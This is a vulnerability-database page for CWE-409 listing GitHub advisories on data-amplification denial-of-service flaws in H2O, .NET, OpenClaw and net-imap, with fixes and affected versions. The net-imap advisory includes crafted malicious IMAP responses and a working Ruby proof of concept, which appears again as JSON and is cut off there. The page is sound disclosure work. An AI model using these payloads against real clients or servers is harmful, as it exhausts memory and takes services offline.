Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

148 vulnerabilities reference this CWE, most recent first.

GHSA-6W62-3JVJ-MFJ6

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 19:56
VLAI
Summary
H2O Vulnerable to Denial of Service (DoS) via Large GZIP Parsing
Details

In h2oai/h2o-3 version 3.46.0.2, a vulnerability exists where uploading and repeatedly parsing a large GZIP file can cause a denial of service. The server becomes unresponsive due to memory exhaustion and a large number of concurrent slow-running jobs. This issue arises from the improper handling of highly compressed data, leading to significant data amplification.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "h2o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.1.2"
            },
            {
              "last_affected": "3.46.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ai.h2o:h2o-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.1.2"
            },
            {
              "last_affected": "3.46.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T19:56:42Z",
    "nvd_published_at": "2025-03-20T10:15:36Z",
    "severity": "HIGH"
  },
  "details": "In h2oai/h2o-3 version 3.46.0.2, a vulnerability exists where uploading and repeatedly parsing a large GZIP file can cause a denial of service. The server becomes unresponsive due to memory exhaustion and a large number of concurrent slow-running jobs. This issue arises from the improper handling of highly compressed data, leading to significant data amplification.",
  "id": "GHSA-6w62-3jvj-mfj6",
  "modified": "2025-03-20T19:56:42Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7765"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h2oai/h2o-3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2oai/h2o-3/blob/7d418fa19d3ab434f742818e37f891bef9102c97/h2o-core/src/main/java/water/parser/ParseDataset.java#L900"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/0e58b1a5-bdca-4e60-af92-09de9c76a9ff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "H2O Vulnerable to Denial of Service (DoS) via Large GZIP Parsing"
}

GHSA-6X36-QXMJ-RV4P

Vulnerability from github – Published: 2024-11-12 23:01 – Updated: 2025-04-04 15:13
VLAI
Summary
.NET Denial of Service Vulnerability
Details

Microsoft Security Advisory CVE-2024-43499 | .NET Denial of Service Vulnerability

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

The NrbfDecoder component in .NET 9 contains a denial of service vulnerability due to incorrect input validation.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/333

Mitigation factors

Applications that do not use the NrbfDecoder component are not affected by this vulnerability. By default, .NET console apps and web apps do not reference this component.

Affected software

  • Any .NET 9.0 application running on .NET 9.0.0.RC.2 or earlier.

Affected Packages

The vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below

.NET 9

Package name Affected version Patched version
System.Formats.Nrbf <9.0.0 9.0.0

Advisory FAQ

How do I know if I am affected?

If you have a runtime or SDK with a version listed, or an affected package listed in affected software or affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  1. To fix the issue please install the latest version of .NET 9.0 . If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  2. If your application references the vulnerable package, update the package reference to the patched version.

Note: You may need to take both actions. Upgrading to 9.0 GA is not by itself sufficient to resolve the vulnerability, since you could still be pulling in the vulnerable package by reference.

  • If you have .NET 8.0 or greater installed, you can list the versions you have installed by running the dotnet --info command. You will see output like the following;
.NET Core SDK (reflecting any global.json):


 Version:   8.0.200
 Commit:    8473146e7d

Runtime Environment:

 OS Name:     Windows
 OS Version:  10.0.18363
 OS Platform: Windows
 RID:         win10-x64
 Base Path:   C:\Program Files\dotnet\sdk\6.0.300\

Host (useful for support):

  Version: 8.0.3
  Commit:  8473146e7d

.NET Core SDKs installed:

  8.0.200 [C:\Program Files\dotnet\sdk]

.NET Core runtimes installed:

  Microsoft.NetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.NetCore.App]
  Microsoft.AspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
  Microsoft.WindowsDesktop.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]


To install additional .NET Core runtimes or SDKs:
  https://aka.ms/dotnet-download
  • If you're using .NET 9.0, you should download and install .NET 9.0 Runtime or .NET 9.0.100 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2024-43499

Revisions

V1.0 (November 12, 2024): Advisory published.

Version 1.0

Last Updated 2024-11-12

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Formats.Nrbf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-606"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-12T23:01:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Microsoft Security Advisory CVE-2024-43499 | .NET Denial of Service Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nThe NrbfDecoder component in .NET 9 contains a denial of service vulnerability due to incorrect input validation.\n\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/333\n\n## \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nApplications that do not use the NrbfDecoder component are not affected by this vulnerability. By default, .NET console apps and web apps do not reference this component.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 9.0 application running on .NET 9.0.0.RC.2 or earlier.\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below\n\n### \u003ca name=\".NET 9\"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Formats.Nrbf](https://www.nuget.org/packages/System.Formats.Nrbf)               |  \u003c9.0.0 | 9.0.0\n\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 9.0 . If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\nNote: You may need to take both actions. Upgrading to 9.0 GA is not by itself sufficient to resolve the vulnerability, since you could still be pulling in the vulnerable package by reference.\n\n* If you have .NET 8.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET Core SDK (reflecting any global.json):\n\n\n Version:   8.0.200\n Commit:    8473146e7d\n\nRuntime Environment:\n\n OS Name:     Windows\n OS Version:  10.0.18363\n OS Platform: Windows\n RID:         win10-x64\n Base Path:   C:\\Program Files\\dotnet\\sdk\\6.0.300\\\n\nHost (useful for support):\n\n  Version: 8.0.3\n  Commit:  8473146e7d\n\n.NET Core SDKs installed:\n\n  8.0.200 [C:\\Program Files\\dotnet\\sdk]\n\n.NET Core runtimes installed:\n\n  Microsoft.NetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.NetCore.App]\n  Microsoft.AspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspNetCore.App]\n  Microsoft.WindowsDesktop.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.WindowsDesktop.App]\n\n\nTo install additional .NET Core runtimes or SDKs:\n  https://aka.ms/dotnet-download\n```\n\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0  Runtime or .NET 9.0.100 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2024-43499]( https://www.cve.org/CVERecord?id=CVE-2024-43499)\n\n### Revisions\n\nV1.0 (November 12, 2024): Advisory published.\n\n_Version 1.0_\n\n_Last Updated 2024-11-12_",
  "id": "GHSA-6x36-qxmj-rv4p",
  "modified": "2025-04-04T15:13:58Z",
  "published": "2024-11-12T23:01:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-6x36-qxmj-rv4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43499"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": ".NET Denial of Service Vulnerability"
}

GHSA-77HF-7FQF-F227

Vulnerability from github – Published: 2026-03-03 21:32 – Updated: 2026-03-03 21:32
VLAI
Summary
OpenClaw skills-install-download: tar.bz2 extraction bypassed archive safety parity checks (local DoS)
Details

Summary

The tar.bz2 installer path in src/agents/skills-install-download.ts used shell tar preflight/extract logic that did not share the same hardening guarantees as the centralized archive extractor.

This allowed crafted .tar.bz2 archives to bypass special-entry blocking and extracted-size guardrails enforced on other archive paths, causing local availability impact during skill install.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published at triage time: 2026.3.1
  • Affected range: <= 2026.3.1
  • Patched in: 2026.3.2 (released)

Impact

Local DoS / availability impact when processing untrusted .tar.bz2 skill archives.

Fix Commit(s)

  • 0dbb92dd2bcf9a32379d11c0f11ed016669dae3e

Related advisories

  • Canonical overlap (closed): GHSA-3pj7-x8jr-jvj8
  • Duplicate variant (closed): GHSA-rgr7-g85h-6v82
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:32:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `tar.bz2` installer path in `src/agents/skills-install-download.ts` used shell tar preflight/extract logic that did not share the same hardening guarantees as the centralized archive extractor.\n\nThis allowed crafted `.tar.bz2` archives to bypass special-entry blocking and extracted-size guardrails enforced on other archive paths, causing local availability impact during skill install.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published at triage time: `2026.3.1`\n- Affected range: `\u003c= 2026.3.1`\n- Patched in: `2026.3.2` (released)\n\n### Impact\nLocal DoS / availability impact when processing untrusted `.tar.bz2` skill archives.\n\n### Fix Commit(s)\n- `0dbb92dd2bcf9a32379d11c0f11ed016669dae3e`\n\n### Related advisories\n- Canonical overlap (closed): GHSA-3pj7-x8jr-jvj8\n- Duplicate variant (closed): GHSA-rgr7-g85h-6v82",
  "id": "GHSA-77hf-7fqf-f227",
  "modified": "2026-03-03T21:32:36Z",
  "published": "2026-03-03T21:32:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-77hf-7fqf-f227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/0dbb92dd2bcf9a32379d11c0f11ed016669dae3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw skills-install-download: tar.bz2 extraction bypassed archive safety parity checks (local DoS)"
}

GHSA-7FC5-F82F-CX69

Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43
VLAI
Summary
Possible DoS by memory exhaustion in net-imap
Details

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :up_to_max_size. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size. When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.2"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-400",
      "CWE-405",
      "CWE-409",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:42:43Z",
    "nvd_published_at": "2025-02-10T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef 